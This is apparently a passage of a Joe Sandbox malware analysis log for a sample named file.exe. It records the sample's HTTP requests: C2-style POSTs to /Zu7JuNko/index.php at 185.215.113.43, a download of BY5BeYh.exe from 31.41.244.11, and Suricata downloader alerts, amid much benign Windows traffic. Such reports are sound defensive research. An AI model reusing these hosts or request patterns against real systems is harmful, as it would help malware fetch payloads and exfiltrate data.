2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDHJKKFBAEGDGDGCBKEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/6453571829/BY5BeYh.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49796 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49857 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50028 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA5CC60 PR_Recv,

0_2_6CA5CC60

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174454Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d7af7841231249d49aff9797bf7a42f9&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617006&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617006&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZjCwozwb+rQFnFZqqHInIKXhNuoPdnvPeL9MPRANgkvOaxT5Dp9bMHyhglJvI4a6mLLG9W+X+PYuygULfZy7Yd6M3avyttRo5Fgeg0QUSTRljD3L99oDphc1APTnCAY+awt31f90JQMBo9uXBU/6ntj77Jgwwef3QZ05jvf9MPCvl9AEZ4OqfmNdodscuT2Hk67gtcpglms9lz6r3hx5y4J9RH/zx2U6KqRUixGDKD+ojDx4xihDSZF0rEKX6E2Hg9ESjQtuBclvd/6UaFYA62S3NkMDNQsZtb59zSjh1D0ryVh1v3KuYWY/mi6FNxmzI10L2ZIuEXhTR7TrVjLcDkQZgAAEJGne1SsE0ajAYOv6W7zrA+wAedCa1b5Iswlo/vyuGhI6+ZWZ3nccNdBYWEllYiKlNGtrzoIFOmKArX6/fALP3/5eZf91bxSx1S6R5uPjSV/MmVaZPJDm2Rx4sRFjNd/q0hwP3mbKeSUypuZZUnbjCMF99kL7isF2bV8f2FQvMZLWSmMW28AmQDTBtHM2c2BVZSCkIsuh5xOAjWOeVHLxodLL8nYN7bm8q9l2pIIcnhE3tRFsqr2HH/16jPBQRqZ03R5Z4uaSEaal/eWRtZlUBWP3c04G9E3FiQAXlnK/cpmBiVoMZ0fmGDrnQiTNZJ6I9bmDAwyH0UE0W+k/YeLOkKzWmEZ7jCcZZ75nWwCLc3igpQHFO2k8oxLWvdM8HZHPcDDf+uElmqK6G4OOYJRcVBG0smq+rRn3Aw5aI76vsLn3gBO5Ku4DThGVPC30vjtSC4K7FC1fb6isy8LZw9MJkhyhOUpUh5n3rmDN+m+8/bwxezBphzFX3doGJJ1y9huvkKojNXafc5MwnzZQ1lNvk7buJN2aw9XTp+/kBFiC8972Xfw4pKpyNXzNf1HAGfrmD3i0xjP1oMuDIqqlZPLlLE3O9gB&p=Cache-Control: no-cacheMS-CV: aIz1vfxrP0yF0BT6.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174454Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7f491ba43faa4c198e2bdbdc52beed95&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617006&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617006&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZjCwozwb+rQFnFZqqHInIKXhNuoPdnvPeL9MPRANgkvOaxT5Dp9bMHyhglJvI4a6mLLG9W+X+PYuygULfZy7Yd6M3avyttRo5Fgeg0QUSTRljD3L99oDphc1APTnCAY+awt31f90JQMBo9uXBU/6ntj77Jgwwef3QZ05jvf9MPCvl9AEZ4OqfmNdodscuT2Hk67gtcpglms9lz6r3hx5y4J9RH/zx2U6KqRUixGDKD+ojDx4xihDSZF0rEKX6E2Hg9ESjQtuBclvd/6UaFYA62S3NkMDNQsZtb59zSjh1D0ryVh1v3KuYWY/mi6FNxmzI10L2ZIuEXhTR7TrVjLcDkQZgAAEJGne1SsE0ajAYOv6W7zrA+wAedCa1b5Iswlo/vyuGhI6+ZWZ3nccNdBYWEllYiKlNGtrzoIFOmKArX6/fALP3/5eZf91bxSx1S6R5uPjSV/MmVaZPJDm2Rx4sRFjNd/q0hwP3mbKeSUypuZZUnbjCMF99kL7isF2bV8f2FQvMZLWSmMW28AmQDTBtHM2c2BVZSCkIsuh5xOAjWOeVHLxodLL8nYN7bm8q9l2pIIcnhE3tRFsqr2HH/16jPBQRqZ03R5Z4uaSEaal/eWRtZlUBWP3c04G9E3FiQAXlnK/cpmBiVoMZ0fmGDrnQiTNZJ6I9bmDAwyH0UE0W+k/YeLOkKzWmEZ7jCcZZ75nWwCLc3igpQHFO2k8oxLWvdM8HZHPcDDf+uElmqK6G4OOYJRcVBG0smq+rRn3Aw5aI76vsLn3gBO5Ku4DThGVPC30vjtSC4K7FC1fb6isy8LZw9MJkhyhOUpUh5n3rmDN+m+8/bwxezBphzFX3doGJJ1y9huvkKojNXafc5MwnzZQ1lNvk7buJN2aw9XTp+/kBFiC8972Xfw4pKpyNXzNf1HAGfrmD3i0xjP1oMuDIqqlZPLlLE3O9gB&p=Cache-Control: no-cacheMS-CV: aIz1vfxrP0yF0BT6.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=P+eths3fKrTxYz6&MD=kKBr4+A7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
